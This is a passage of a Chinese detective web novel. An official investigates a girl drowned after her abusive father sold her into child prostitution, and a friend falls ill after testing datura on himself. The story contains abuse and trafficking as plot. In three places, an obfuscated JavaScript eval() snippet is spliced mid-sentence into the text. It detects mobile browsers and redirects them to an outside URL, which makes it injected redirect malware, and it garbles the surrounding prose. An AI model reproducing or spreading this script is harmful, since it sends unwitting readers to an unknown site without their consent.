“此前听闻你们织坊中有一个七八岁的小女孩儿,怎么不见孩子,是跟着你一同回苏州了?” “啊,是,那孩子是我二姨家表妹的大女儿,叫小满的。” 宋准闻言,拿出那孩子的画像来给她看,问道:“是这个孩子吗?” 坊主接过画像看了看,眉头微不可查地微微皱起,说:“是,是这孩子出什么事儿了吗?” “她在运河下游的浅滩里,被发现溺死了。”宋准说。 “啊?”她像是没有反应过来,拿着画像一愣神,脸上还是那般疏离的笑容,她说,“小满前些日子跟着我表妹回家时还好好的呢。” 宋准叹了口气道:“尸体如今还在衙门的停尸房内,你可随我前去认尸。” 坊主向李三娘交代了些话,就随宋准去了衙门。掀开尸体上盖着的白布,小满惨白的脸就那样露了出来,从尸体被发现到今日,已经有三日,若非还是仲春,尸体定要开始发臭腐败了。 “是你表妹的女儿吗?”宋准有些小心地问她。 坊主用那方手绢捂着嘴,眼中溢出泪水来,顺着脸颊淌下,濡湿了她的手绢。 她点点头,声音沙哑着,应了一声:“是。”说完她便跑了出去,扶着廊下的柱子干呕着,平复下来,眼中只有泪水在流。 宋准跟出去说:“这孩子死得蹊跷。仵作验过,她身上新伤累旧伤,明明是八岁的孩子,身形却像五六岁的孩子一般,她手上戴着的长命锁……”说到这里他停顿了一下,因为看见坊主脸上的表情稍有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516070|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不自然。 “你是孩子的表姨妈,我便与你直说了,那长命锁是买卖雏伎的标记。”宋准道,“你若是知道什么线索,或者有什么不得已的苦衷,都可说出来,我会替你想办法。至于孩子的尸体,你也让你的表妹来把孩子接回去吧。” “你也说了我是孩子的表姨妈,我做不了这个主。”她伸手擦去了脸上的泪水,露出个惨淡的笑来,“你还是去找孩子的父母吧,但小孩子夭折不能进祖坟,更何况还是个丫头片子,不值钱,即使是带回去,也是荒山野地里随便找块地埋了。” 她这话让宋准半天不知该作何反应,句句都不动听,却句句都是现实,句句难以反驳。 “也罢,你告诉我孩子家在何处,我去找他们便是。”宋准说。 坊主说了一个位置,宋准将其记下,就让她回织坊去了,自己则带上陈捕头去了她所说的那个地方,找小满的父母。 那是一个十分靠近城根儿底下的旧屋,还未走到门口,就听一阵阵的婴儿哭声,那孩子哭声虽不停,但听着也有些沙哑,像是饿了许久,有气无力的。 院门虚掩着,里面看着是住了三四户人家,唯一一间开着门的房间里,能听到婴儿哭声下是一个妇人在轻声哄孩子。 陈捕头上前去叩门,那妇人问了句:“谁啊?” “这里可是小满家?县尉查案,还请配合。”陈捕头说。 “门没锁,进来吧。”同样有气无力的声音。 一推开门,二人都被眼前的景象惊呆了,屋里很暗,一扇小窗透进来些许亮光,炕上破旧的被子下露出三个女孩子的脑袋,都和小满有五六分相似,脸上脏兮兮的,唯有一对眼睛亮闪闪的,好奇地打量着宋准他们。 那妇人坐在旁边缝补衣服,背上还背着一个婴儿,婴儿在啼哭,她便晃动着身子轻声哄他。 “这位大姐,小满是你的女儿吗?”宋准问。 “是。”她毫不犹豫地回答。 “能否借一步说话?这里还有孩子,怕她们听不得。” 女人抬起头,宋准这才瞧见,她脸上有许多青紫的伤痕,面颊凹陷,瘦极了,她说:“有什么事儿就在这儿说吧,穷人家孩子皮实,没什么听不得的。” 他又环视了一圈屋内,极其简陋,那几个女孩子还是那样瞧着他,他皱了皱眉,还是没说出来那话,转而问道:“您家里几个孩子?” “五…四个。”她瞬间改了口,像是想到了什么,眼神有些闪躲,转头看了一眼已经不再哭泣的婴孩,把他交给了炕上最大的那个女孩子,这才对宋准说,“还是去院里说吧。” 宋准点点头,随她出了门,站在了院子中央的树下。 “小满她,在运河下游溺死了,你和孩子父亲要不要再去见孩子一面,或者把她带回来安葬了。” 她的脸上没有什么表情,像是早就知道这件事,平静到像是在听旁人的故事。 许久的沉默过后,她说:“该的,从我生下她,我就知道会有这么一天。” 27.招娣 日头起来了,照在院墙上,檐下的幼燕伸出头叽叽喳喳地讨食吃,成燕不断地飞去飞回,将捉到的小虫喂进它们嘴里,但它们像是永远也喂不饱,仍旧在张着嘴拼命地叫着。 宋准看了一眼那窝燕子,又收回目光到女人身上,问她:“你那话是何意?你可知小满的手腕上系着一枚长命锁,那是人牙子买卖雏伎的标记。” 女人双手握在身前,背有些驼,看着年龄并不大,可眼睛里竟有些浑浊,一脸的疲态,她点点头,说:“是,我知道她爹将她卖给了人牙子。” “她是你的亲生女儿,你怎忍心… ” 宋准的话还没说完便被她打断:“我能忍心吗!那是我怀胎十月,从我身上掉下来的肉!但若不卖她,全家都会饿死!卖一女能活一家,这账我该怎么算!” 她平静的表情出现裂痕,是眼里的泪将那层面具划破,露出面具之下脆弱不堪的心。 她擦了擦眼泪,说:“既然你们都找到我这儿来了,我也没什么好隐瞒的。” “小满是我的大女儿,小满那天生的,就叫小满,我很高兴,我有自己的孩子,即使她是个女儿,我也高兴。”她说,“但她爹不满意啊,他说,必须得生出儿子来,否则若是他们家断了后,就杀了我另娶续弦。” “我便一直生,生了小满,又生了想弟,佑弟,盼弟,我不愿给她们取这样的名字,但她们爹十分坚持,还说,都怪这些贱女娃子赶着投胎,才抢了他儿子的命。” 说到这里,她哽咽了,抬头看了看天,但在那样的一棵树下,她能看见的只有被层层树叶切割成碎片的天空。 宋准问她:“孩子的爹呢?” “不知道哪家赌坊里呢吧。”她的语气恨恨的,极力忍耐着,像要把什么东西撕碎嚼烂了吞下去,“赌完了就回来要钱,还不许我去表姐的织坊做工,说驳了他的面子,叫人以为他没能力养家糊口,呵,我要不是怕我死了孩子们也活不成,早一把耗子药毒死了他了。” “砰!”一声巨响,院门被人暴力踹开,冲进来一个男人,指着女人大喊道:“好你个王氏,老子不在家你就背着老子偷人是吧!*你*了个*的,老子今天非打死你个臭不要脸的死婆娘!” 说着他已经顺手拿起了靠在门边的门闩木向她走去,被叫做王氏的女人立刻蹲下用手护住头,不逃跑,也不反抗。 宋准立刻冲上去拦下了他,夺下了他手里的门闩,这才闻到男人一身的酒气和烟味儿,陈捕头也顺势上前将他双臂反剪至背后。 “官府办案,你要当着县尉的面打人?”陈捕头吼道。 男人原本还不断挣扎着,嘴里不干不净骂骂咧咧的,一听面前人是县尉,态度几乎是瞬间软了下来,陪着笑说:“啊哈哈,小人不知县尉大驾光临,我刚才是跟她开玩笑呢,没要打她,没要打她。” 说完他还想从陈捕头手上挣脱,但他一身瘦骨,怎是常年习武的陈捕头的对手,几番挣扎无果之后,他便又冲着宋准卖惨:“县尉大人,能不能先把我放开,哎哟哟,我的胳膊断了,断了,哎哟哟……” “老实点儿!”陈捕头往他腿上踹了一脚,让他跪在了地上。 “你姓甚名谁?为何要打骂她?她身上的伤是不是都是你打的?”宋准居高临下地看着他,眉头紧皱,表情十分严肃。 男人还在呲牙咧嘴地呻吟,陈捕头又掰了他胳膊一下,他才老实回话:“小…小人名叫陈二狗,小人没有打骂她,两口子…两口子哪有不吵架拌嘴的,我就是吓唬她一下,吓唬一下。” 他跪在地上还在冲王氏挤眉弄眼,宋准瞧得真切,那眼里目光狠戾,嘴上说着软话,却在不断地用眼神威胁她。 “你可知你犯了什么罪?”宋准又问。 “啊?小…小人是良民,不…不曾作奸犯科啊……”陈二狗收回了凶狠的眼神,怯怯地抬眼望着宋准,只一眼,又立刻低下头去。 宋准蹲下来与他平视,问:“你家的小满呢?” “什么小满?…哦…哦您说招娣那丫头啊…她上…上她那个…那个姨妈家去了。”陈二狗目光躲闪,结结巴巴地说完一句话,抬头去瞧王氏。 此刻王氏正蹲坐在地上发愣,屋里婴孩却突然啼哭起来,大一点儿的孩子在喊娘,她看了看宋准,得到了肯定的眼神之后便进屋哄孩子去了。 宋准绕到陈二狗身后拿起他的手看了看,一双明显没有怎么碰过农具或者任何工具的手,只有手指尖和手掌上有些茧,一看就是常年在赌坊抓筹撑桌留下的。 “把这人先带回衙门。” 陈捕头应了声是,便将陈二狗架起来向门口走去。 宋准敲了敲屋门,就站在门口说:“王氏,你的丈夫我需先将他带回衙门一趟,或许过几日才回得来,这几日在家照看好孩子。” 屋内正解下外衫给孩子喂奶的王氏眼里含了泪,她说:“福妹,我叫王福妹。” 叫福妹的女人却从未有福过,造化总是这般弄人。 宋准一愣,立刻又叫了她的名字:“好,王福妹,这几日将孩子们都看好了。我早上出门走得急,没带多少钱,我给你挂在屋门上,拿着钱去给孩子们买些吃的吧。” 他解下自己的钱袋,里面也就一百多文钱,收起系绳挂在了门上的一颗钉子上,转身离开了破败的院子。 回衙门的一路上,不少邻里看见陈二狗被押着走,纷纷对他指指点点,宋准听到了不少“活该”、“恶人有恶报”、“吃一辈子牢饭吧”这样的咒骂,还有些更难听的用临安话骂出的词,宋准都有些没听懂。 陈二狗一直用恶狠狠的眼神瞪着一路上骂他的人,不时还啐一口,被陈捕头踹了一脚之后,才老实下来。 一进衙门,就看到正欲出门的王县令,王县令看到宋准二人押了陈二狗回来,问:“这个登徒子又犯什么事儿了?” “回县令,他将他的女儿卖去给人当雏伎后又将其杀死,实在罪大恶极。”宋准行礼应道 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“你瞧,若是你女儿去旁人家里了,你会如何?” “那我自然是无比担心啊,还得让她早些回来。” 宋准背着手继续向前走,侧头对陈捕头说:“但你看方才陈二狗,说起小满的去向是支支吾吾前言不搭后语,眼睛还向左乱瞟,明显是想着怎么扯谎。看他手上的茧子便能知道他是右利手,若是在思考,那么右利手的眼睛应当是下意识向右转。” 陈捕头听得目瞪口呆,连连称赞:“妙啊,听县尉一席话,胜读十年书。再加上他的手印鞋印与小满身上的伤痕都能对上,那么他多半就是凶手了。” “现下还不能完全地确定,只有抓住三槐堂的买家,或者有看到陈二狗杀女的目击证人,让对方来指认,才能确定此事是陈二狗所为。” “那县尉方才为何对县令说得那样肯定?” “这样才能先把他押进牢里,若让他回去,王福妹难保又要受他虐待,还要伺候他养伤,我宁愿县令罚我误判,也不是什么大问题,就让她们母女在家里过几天安生日子吧。” 说着话二人已经走到了衙门外的街上,宋准让陈捕头带几个人去陈二狗家附近向邻居们打听一下陈二狗平日里的所作所为,若有人能够到堂上作证则更佳。 他自己则预备去运河边找令狐朝,再一同去织坊把柳晏叫回来。 令狐朝的船屋换了个位置,停到了个有树荫遮蔽的地方,冬日里要晒太阳,天气暖和了要找阴凉,现在也就船尾能晒到太阳,他平日里在那上面晾晒些草药和鱼干什么的。 宋准走上船头去叩门:“令狐兄,令狐兄?有个大好的消息要告诉你!” 毫无动静。 “还没醒吗?”宋准心里想着,又加了几分叩门的力道,里面却还是安静如鸡。 不知道为什么,有些不太好的预感浮上心头。 28.曼陀罗 宋准将耳朵贴在了门上仔细听着里面的动静,似乎能听到令狐朝不太平稳的呼吸声。 “不会是晕倒了吧?”宋准嘀咕了一句,令狐朝自从前受过重伤之后一向都有些体弱,再加上作息也不规律,很可能会突发疾病。 门是从里面锁上的,破门而入不太现实,船尾进屋的门是一直开着的,但船尾距离岸边又远,要过去只能先下水,犹豫了一下,宋准还是跃入了水中。 爬上船尾,打开门进去,就看见令狐朝只穿着里衣倒在榻边,身子蜷缩着,宋准吓得立刻过去将他扶起,才看到他紧皱着眉头,额上一层细密的汗珠,呼吸很不平稳,身子还不时颤抖。 “令狐兄!令狐兄!你还好吗?”宋准轻轻晃了晃他的身体,毫无反应,看了看周围,找到他的外衣替他穿上,把他背出了船舱,立刻就向医馆奔去。 令狐朝身量极轻,隔着几层衣裳都能感觉到他分明的肋骨,颠簸之下硌得后背都有些疼。 到了医馆,女医见令狐朝此状,也是一惊,让宋准把他放在诊榻上,翻开眼皮看了看他双眼的状态,又探了脉,问宋准:“他晕倒之前都吃过什么东西?” “这…我也不知道啊,刚去他家的时候,他就已经倒在地上了。”宋准摇了摇头,又问,“大夫,他这情况严重吗?还能醒过来吗?” 话音刚落,令狐朝在诊榻上又开始颤抖起来,两手也握紧了拳头,呼吸急促。 “大夫!他这是怎么了?”宋准跑到榻边握住了令狐朝的手,十分急切地问那女医。 女医的眉头也皱起了,说:“看他的脉相并无大碍,但他似乎是误食了什么能致幻的东西,现在的状态,你可以理解为在噩梦里,但是不能像噩梦一般能随时醒过来。” 宋准看着他的脸,那张平日里总是平静如水的脸,现在却是无比痛苦的模样。 “不可能会误食啊!他是懂药理和毒理的,怎么会……”说到这里,宋准突然想明白了什么,令狐朝精通这些,怎么会误食,只可能是他故意食用的。 他为什么要给自己下药? 宋准看着女医,对她说:“还请大夫先稳定一下他的状况,我先出去一趟,很快就回来!” 女医应道:“好。” 令狐朝在做这些之前,一定会在记簿上记录的,方才自己急着带他去医馆,没有注意他桌上那堆杂物里都是什么,而他的记簿之类一定就在那桌上放着。 进了船屋里,桌上果然放着他的记簿和几包打开的药粉。 翻开的记簿用镇纸压着,上面写着“曼陀罗”、“苦艾草”,还有一些意义不明的“二三四五”什么的写在下面,笔画有些歪歪扭扭的。 旁边打开的药粉上有用药匙挖走一部分的痕迹,边上还洒了一些,难道说令狐朝是在自己试药? 容不得他想太多,包好了那几包药粉,拿上记簿,也顾不得身上衣服还是潮乎乎的,方才在太阳地里跑了几趟,已经不再滴水了。 一路上不敢耽搁,跑回医馆,女医正在施针,令狐朝的脸色看着已经好了很多,宋准把那两包药粉递给女医,说:“他多半是用了这些,应该是曼陀罗和苦艾草。” 女医接过了那两包药粉查看,点点头道:“知道用了什么药,解起来就快多了。方才我已经施针稳定了他的状况,这毒不难解,你稍等片刻。” 银针刺入委中穴,神门穴与听宫穴,不多时,令狐朝紧皱的眉头就渐渐舒展了,盗汗的症状也有所缓解,女医又煎好了一副药端来,让宋准给他灌下去。 起初用勺子喂,喝进去一些又会吐出来,女医看了看说无妨,不管喝下去多少,那一碗药要喂完。 于是宋准便依她所言,慢慢地将那碗药都给他喂了下去,见他还是未转醒,想着这事儿不能不通知柳晏,就把令狐朝托付给了女医,自己又赶去织坊找柳晏。 他在石桥边上看到了李三娘的儿子莲哥儿,便唤他过来,让他去织坊找一个叫小蛮的姑娘来,莲哥儿问:“县尉大人为何不自己去?” 宋准蹲下来摸了摸他的脑袋:“小孩子别对什么都那么好奇,你去找她,就说,有人在石桥边等她。” 莲哥儿一蹦一跳地跑走了,不一会儿,他就带着小蛮过来了,小蛮看见宋准,问道:“县尉找民女有何事?” “随我走一趟,有案子需要你出面。”宋准做出严肃的模样,又低头摸出两文钱对莲哥儿说,“玩儿去吧,给你的跑路费。” 说完他带着柳晏转身离开往医馆去,见远离了染坊巷,他才说:“令狐兄自己试药,把自己药倒了,现在还在医馆昏迷不醒。不过你别担心,已经施了针,好转了许多,我才放心来找你。” “什么?!”柳晏大喊一声,周围一些路人纷纷看了过来,他尴尬地对那些路人笑笑,又压低了声音说,“不是,怎么会这样?他好端端的自己试什么药啊?还有你身上衣服怎么都是湿的?” 宋准加快了脚步,跟他说:“我也不知道他为什么要自己试药,我早上抓到了那个女童的父亲,正准备去和他一起去织坊把你唤回来,结果敲门半天没人应,我就从水里上了他的船尾,从后门进去的,才发现他已经倒在地上了。” “啧,晦言到底是在搞什么啊!”柳晏嘴上抱怨着,眼里却盈满了泪水,还觉得不够快,直接跑了起来。 “哎!别跑!你现在扮成姑娘,在街上跑不成体统!要遭人诟病的!”宋准追在后面说着。 “去他爹的,我爱怎么着就怎么着!”柳晏骂了一句,又加快了步子。 进了医馆,柳晏逮住女医就问:“那个试药把自己药倒的人呢?他怎么样了?” 女医指了指屏风后面,说:“施过针也吃过药了,已经无大碍,只是他身弱,恐怕还要一段时间才能醒过来。” 柳晏闻言直接窜到屏风后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一片混沌的意识里,令狐朝听到了渺远天边传来的歌声,他向那歌声追去,虚无的世界里看不到尽头,跑不到尽头,感觉自己离开了自己的身体,不断地升高,升高,快要离开屋檐了。 “砰!”整个人从高处坠落下来,腿用力蹬了一下,瞬间惊醒,睁开了眼睛。 陌生的环境,视野里,两个很熟悉的人,他们又是谁?是宋准和柳晏吗? 说不出话来。 “晦言!晦言你感觉怎么样?有没有哪里不舒服?”柳晏非常急切地问他,他想回答,却张不开嘴,只能那样看着他。 晦言?是在叫自己吗?这儿又是哪里?这儿不是自己的家,嘴里有什么很苦的味道。 宋准走上前去对他说:“令狐兄,你还记得什么吗?你试了药,陷入幻觉里晕倒了,这里是医馆,我把你带来的。” 试药?试什么药?对了,好像是这样,试了药,记录了剂量,然后就…… 天旋地转一般的晕眩,令狐朝又闭上眼,眉头紧蹙,听见二人在唤他的名字,却作不出任何反应,手脚都无力动作,有温热的手指搭在自己手腕上,鼻尖嗅到了薄荷脑的味道,再睁眼,眼前终于清明了起来。 看着眼前两张无比焦急的脸,他艰难地动了动嘴唇,声音沙哑地问:“我…我还…活着?” 29.追去黄泉 听到令狐朝的声音,柳晏再也忍不住,抱着他的胳膊就放声大哭起来,眼泪蹭了他一袖子,他自己却还有些懵懵的,茫然地看了看柳晏,又看了看宋准,问:“这是…怎么了?” “令狐兄,你为何要自己以身试药啊!你是神农也不能这样啊,稚言吓坏了,以为你……哎!”宋准深深地叹了口气,“不过你醒来就好了,这下我们也可放心了。” 令狐朝艰难地抬起榻边的另一只手,摸了摸柳晏的脑袋,嘴角扯出个笑来,刚想说话,又咳了几声。 “咳…咳…别哭了稚言,我没事儿,你…先扶我起来。” 柳晏哭得抽抽嗒嗒的打嗝,话都说不利索:“嗝…令狐…朝,你,你怎么能这…嗝…样…嗝,你要…嗝…是比我先…嗝…死,我…嗝…我就刨了…你的坟!” 方才他是真的害怕了,看到令狐朝那样躺在诊榻上,面色苍白,额发和鬓发都被汗水浸透粘在脸上,他一下子就想到了听闻他身死的那个暮秋,整个人如坠冰窟。 但是看到令狐朝在对他笑,手搭在他的手上,却再也生不起什么气来,嘴上虽然抱怨着,还是起身把令狐朝给扶起来靠在自己身上。 宋准去向女医结诊金了,女医又再抓了一副药,嘱咐宋准让令狐朝睡前煎服,又过去查看了一下令狐朝的状态,确认无碍了,便说他们可以带他先回去修养了。 柳晏顺势将令狐朝背了起来向外走,宋准看见瞪大眼睛压低声音说:“小姑奶奶,你现在扮作姑娘如何能这样背着一个男子?快将他放下来,我来背就是。” “嗯……”柳晏思索了一下,似乎觉得确实是不大妥当,便也没争辩什么,把令狐朝扶到了宋准背上。 令狐朝在后面笑着:“你竟也能说得动稚言,哈哈哈哈……咳咳。” “令狐兄还有心思说笑,是谁给自己下药入了幻觉醒来还两腿发软走不了路的?”宋准有些不满地说他,“你也是,有什么事儿不能商量商量再干?自己在那儿逞什么英雄,今天只是致幻药,明日你若想尝尝鹤顶红,岂不是自此再无令狐朝这人?” 令狐朝趴在他背上,虽然被训斥,却并不觉得不快,伸手将他的脖子抱紧了些:“好了,又不是故意的,谁知道这东西效力这么猛啊。鹤顶红我当然不会想试了,这儿还有个傻孩子离了我就活不成了呢。” 柳晏走在一旁,情绪才刚平复下来,听这话立刻扭头问:“你说谁是傻孩子?你说谁离了你活不成?” 他眼圈红红的,像只兔子,撅着嘴,瞪着令狐朝。 令狐朝笑着回他:“方才是谁说,我要是死了,他就去黄泉追我?” “你!”柳晏意识到那时自己说的话竟然都被令狐朝听到了,虽然自己平日里也常说些不着边际的话,但这可不一样! “是!我就是离了你就活不成了!怎样!你就算死也必须死在我后面!否则,我刨了你的坟!把你挫骨扬灰!” 说完他气鼓鼓地向前走去,全然不再听令狐朝又说了什么,但宋准可听得真切,他说:“听你的就是了。” 快走到运河边了,令狐朝拍拍宋准的胸口说:“往太阳下走走,我想晒晒太阳。” 宋准答应着,又问他:“令狐兄,你在幻象里可看到了什么可怕的东西吗?” “为什么这么问?” “你那时,身上都是冷汗,一副很害怕的模样,身上还在抖。是见到了什么可怕的东西吗?” 令狐朝闭上眼睛思索了片刻,说:“仿佛也不是吧,就是一片漆黑,有很多人在说话。” “你为何会突然想到去试致幻药的?” “嗯…这个,就是发现那个长命锁是空心的,里面有些药粉,被水泡了不太好认,我不得配出来那都是什么东西吗,脑子一抽,就想试试多少剂量都是什么效果,没想到,下得有点猛。” 宋准听了停下脚步,把快要滑下去的令狐朝往上掂了掂,又叹了口气:“哎,令狐兄,你真是…” “年纪轻轻的别总是叹气,福气都叹没了。”令狐朝笑着打趣他,阳光照在他的后背上,暖洋洋的,舒服得让人只想睡觉。 等宋准走到运河边时,柳晏已经坐在了船尾的甲板上,手里拿着把什么东西往水里一颗一颗地丢,日头正好,照得他脸上雪白,听见脚步声,他扭头过来看,令狐朝下巴搭在宋准肩头,似乎睡着了。 “让晦言在这儿晒晒太阳吧,天天闷在船舱里,人都要发霉了。”柳晏说。 宋准背靠船头,让令狐朝先坐下,柳晏在后面把他接了过去,抱着他往船尾去,宋准随后也跟上来,坐在了他们旁边。 令狐朝靠在柳晏身上,闭着眼睛仰起脸朝向太阳的方向,十分舒服地“嗯”了一声。 “令狐兄,我今日来原本是想告诉你个好消息的,那个女童的父母我已经找到了,是她的父亲把她卖给了三槐堂,人已经关在了牢里,就差三槐堂那边的证据了。” 令狐朝歪头睁开一只眼:“那很好啊,所以这件事儿到底跟织坊有关吗?坊主是否对此事知情呢?” 柳晏说:“我觉得这事儿和织坊无关,她们全都是女子,为何会对孩子下这样的毒手?而且这两日我在织坊也没看出有什么异常。” “我现在也没法下定论,只能看三槐堂那边是不是能抓到人,织坊坊主说她是小满的表姨妈,那孩子出现在她那儿就是合理的。”宋准道。 令狐朝抬了抬手,觉得动起来似乎没那么艰难了,又试着抬了抬腿,没想到没抬动不说,整个人向侧边倒了下去。 “诶!诶!”柳晏眼疾手快抓住了他,才没磕到旁边的那些杂物,他有些气恼地问令狐朝,“晦言,你怎么回事儿?” 不等令狐朝有什么回答,他便自顾自地把他护到了自己怀里,让他枕在自己腿上:“你别动,一会儿掉水里了我可不救你,你就当鱼食去吧。” “哈哈哈哈哈…”令狐朝十分爽朗地笑了,伸手捂住眼睛,笑了许久才停下,伸手指了指屋里的桌子,“惟衡,帮我取一下我的记簿。” 宋准从怀里掏出那本记簿递给他,他愣了一下,随即接过来一边翻动着一边问:“稚言,你之前的曼陀罗是哪儿来的来着?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳晏唇角微勾,轻声说了句:“你们不说,我也会去做的,放心。”松开令狐朝的手,他将令狐朝扶起来,对宋准说:“惟衡,他就交给你了,我去织坊了,晚上记得来榕树下来接我,我怕黑。” 说完他便站起身走了,宋准才后知后觉地应了声:“好。” “扶我去地上走走吧,一直躺着也不是个事儿。”令狐朝推推宋准。 “啊?噢,好。” 宋准将他抱起来,从船舱穿过去前门下船,扶着他让他尝试走动,结果他两股战战脚步虚浮,走不了几步路就要歪斜下去,吓得宋准直接撑住他腋下把他整个人拎了起来。 “哈哈哈哈哈……没想到,二十好几了还要重新学走路啊。”令狐朝被自己的动作逗笑,此时他整个人的重量都在宋准手上,双脚离地,宋准在他身后说:“令狐兄,要不你还是去躺着吧,不要勉强自己。” “啊,果然还是要认命了吗。”他叹了口气,晃了晃双腿说,“你先放我下来,这么拎着我不重吗?” 宋准依言将他放下,但手并未从他腋下离开,低头看了看他的双脚说:“你轻得就快剩把骨头了,大夫都说你是身子弱,症状才会这么严重,今后吃饭可不能再将就了。” “好好好,听你的。再让我走一段,走一段回船上,啊。”令狐朝又笑了,他今日笑得格外多次,说不上来是因为什么,许是知道自己有人挂念着,真好。 30.义绝 宋准借着令狐朝船上的东西做了粥和两个清淡的小菜,令狐朝从船尾的底舱里拿出早上买来已经淘洗干净的河虾,扔到了正在翻滚的粥里,边扔还边哼着首小曲儿。 “令狐兄心情仿佛不错?”宋准看他开心,自己也觉得轻松不少。 “还行吧。”嘴上说着还行,嘴角却止不住上扬,他或许这辈子也不会和人提起,他究竟在曼陀罗的幻象里看到了什么,经历过死亡的感受,才知道自己多渴望活着。 吃过饭,宋准便准备动身去和陈捕头汇合,整理出陈二狗邻居们的证词。 令狐朝才刚可以扶着东西慢慢走动,便没跟着同去。 先回县廨换了身干衣服,宋准便去衙门找到了陈捕头。 陈捕头这时正和几个捕快在那儿聊天,时不时摆手摇头啧啧,几个捕快围在边上也是不住地叹气。 宋准走过去问:“在聊什么呢?怎么都唉声叹气的?” “见过宋县尉。”捕快们纷纷向他行礼,陈捕头也一拱手道:“县尉,是我等发现的重大线索。” “什么重大线索,你且说来听听。” 陈捕头说:“陈二狗和王福妹这婚事怕是要县令判离了,有邻居说,王氏父母的死和陈二狗有关。” “怎么个有关?” “说是被陈二狗给活活气死的,老两口本来身体就不好,又只有王氏一个独女,当初谈婚论嫁的时候陈二狗还人模人样,结果生了孩子之后就性情大变,对王氏多有苛待,甚至还殴打过王氏的父母。” “王氏父母那时为何不报官?” “他们不敢呀,陈二狗威胁他们,要是敢报官,他豁出命也要先拉王家一家三口垫背,二老想着孙女年幼,不能没有父母,就将此事忍下来了。” “这消息确定属实吗?邻居愿意出面作证吗?”宋准又问,遇上这样的事情,大多数百姓会选择不要引火上身,因而拒绝出面作证,能够悄悄提供消息已经是相当不错,更何况陈二狗似乎还是个穷凶极恶之辈。 陈捕头闻言点了点头说:“听说陈二狗可能会被判重刑,还是有不少邻居愿意出面做证的。有些人都是曾经受过王家恩惠的。” “那这就好办了,明日升堂,先让县令以义绝判离他们的婚事,放王氏回归本家,至于陈二狗的杀女罪,还需我等再行查证,务必要找出证据来。” 陈捕头摆摆手,说:“不用了县尉,有人说,案发前一晚曾在运河边见到陈二狗与其女。” “是谁看到的?能确定吗?” “回县尉,那人是与他们同住一坊的一个秀才,叫江正的。他说离得虽远,但陈二狗的模样他断不会认错。” 顺水推舟一般,竟这样顺利就凑齐了证据,宋准带了几个捕快,去牢中提审陈二狗,若再有了他的口供,陈小满溺死一案就可结了。 县衙的大牢里弥漫着潮湿发霉的气味,不少犯人见有人来都伸出手来高声喊冤,陈二狗被押进牢里时因为想殴打狱卒,被踹了几脚,正趴在最里面的牢房里呻吟着。 狱卒打开了牢门,宋准进去坐在了一旁的条凳上,垂眼看着地上的陈二狗,问他:“陈二狗,你为何要将自己的女儿卖去给人做雏伎?” 陈二狗原本还在那儿有气无力地呻吟着,听到宋准问话,他竟突然开始嗤笑起来,缓缓转过头来看他,咧着嘴,面目狰狞。 “那是老子的种,老子想卖就卖。”他斜睨着眼,嘴角扯上来,“呵,要不是老子缺钱,嘿嘿…” 宋准被他那表情吓得一怔,随即就一拍桌道:“你也知道那是你的女儿?不知道这是犯罪吗?” 陈二狗从鼻子里哼了一声:“*你*的,要你们这帮杂种多管闲事,老子的种,老子想怎么处置就怎么处置!” 他瞪着眼高声嘶吼,陈捕头在一旁喝道:“大胆!县尉面前口无遮拦,不想活了吗?!” 宋准摆了摆手道:“无妨,莫为这种人动气。那你说说,你又为什么将她推入河中溺死?” “你凭什么说是我把她推河里的?我是她老子!我能害她吗!” “你都把她卖为雏伎了,还不算害她?有人曾在案发前看到你和小满出现在河边,你为什么会在那儿?” 陈二狗听说有目击证人,嚣张的气焰明显下去了大半,但还是强撑着一口气道:“天底下路这么多,我哪儿不能去?我凭什么不能去?” 宋准皱了皱眉,问他:“那你倒是说说,你带着小满到那儿什么去了?” “老子去拉屎,不行吗?” “这样吧,我来猜一猜,你把小满卖去三槐堂,想要这一份卖身钱,却又不想让人知道你把她卖做伎子,因为这样会下你的面子。”宋准手撑在桌角,微微向前俯身,死死盯着陈二狗的眼睛,“这可怎么办?” 陈二狗被盯得有些发毛,眼神开始躲闪,想将头转去另一侧,宋准立刻起身蹲到了他面前,伸手摁住他的头,接着说:“诶,有了,把她杀了,不就一举三得?既不用再养一个孩子,不怕她做了伎子被人戳自己脊梁骨,还白拿了一份卖身钱,你说,这办法好不好?” 宋准的语气阴恻恻的,陈二狗不敢再动作,也不敢说什么,只能由着宋准接着说下去。 “小满脚腕上的烙印,是你烫的吧?你从她出生开始,就没想让她能平安长大,她的几个妹妹,是不是也都一样?你就不怕,小满夜里带鬼差来寻你,向你索命!” 陈二狗仍然嘴硬道:“呵,你…你口说无凭,你有什么证据,证明是我干的?我告诉你,别以为这样就能套话,你还嫩了点儿!” “仵作早已经验出,小满后背上有个成人的鞋印,和你的鞋子大小一致,腕上的手印,也和你的手形吻合。你真以为自己聪明得很,能逃脱律法制裁?有这样的好脑筋,不如老老实实认了罪,许能从轻发落。你自己好好想想吧。” 说完宋准便起身离开,全然不管陈二狗在后面叫嚷着什么。 从牢里回到衙门的时候,正遇上一对夫妻,十分焦急地在门口徘徊,宋准上前询问情况,二人见他来竟直接跪了下来。 “宋县尉,宋县尉,您可一定要帮帮我们啊!”夫妻二人都泪流满面,眼下乌青,显然很久没有休息好了,宋准急忙将他们扶起,让他们讲遇到了什么事情。 二人抽抽噎噎地说明了情况,原来是他们六岁的儿子前些日子丢失,家里已经几番寻找,都全然无果,甚至都抱了最坏的打算,活要见人死要见尸,在河里捞了两日,还是一无所获,实在没有办法,才赶来报官。 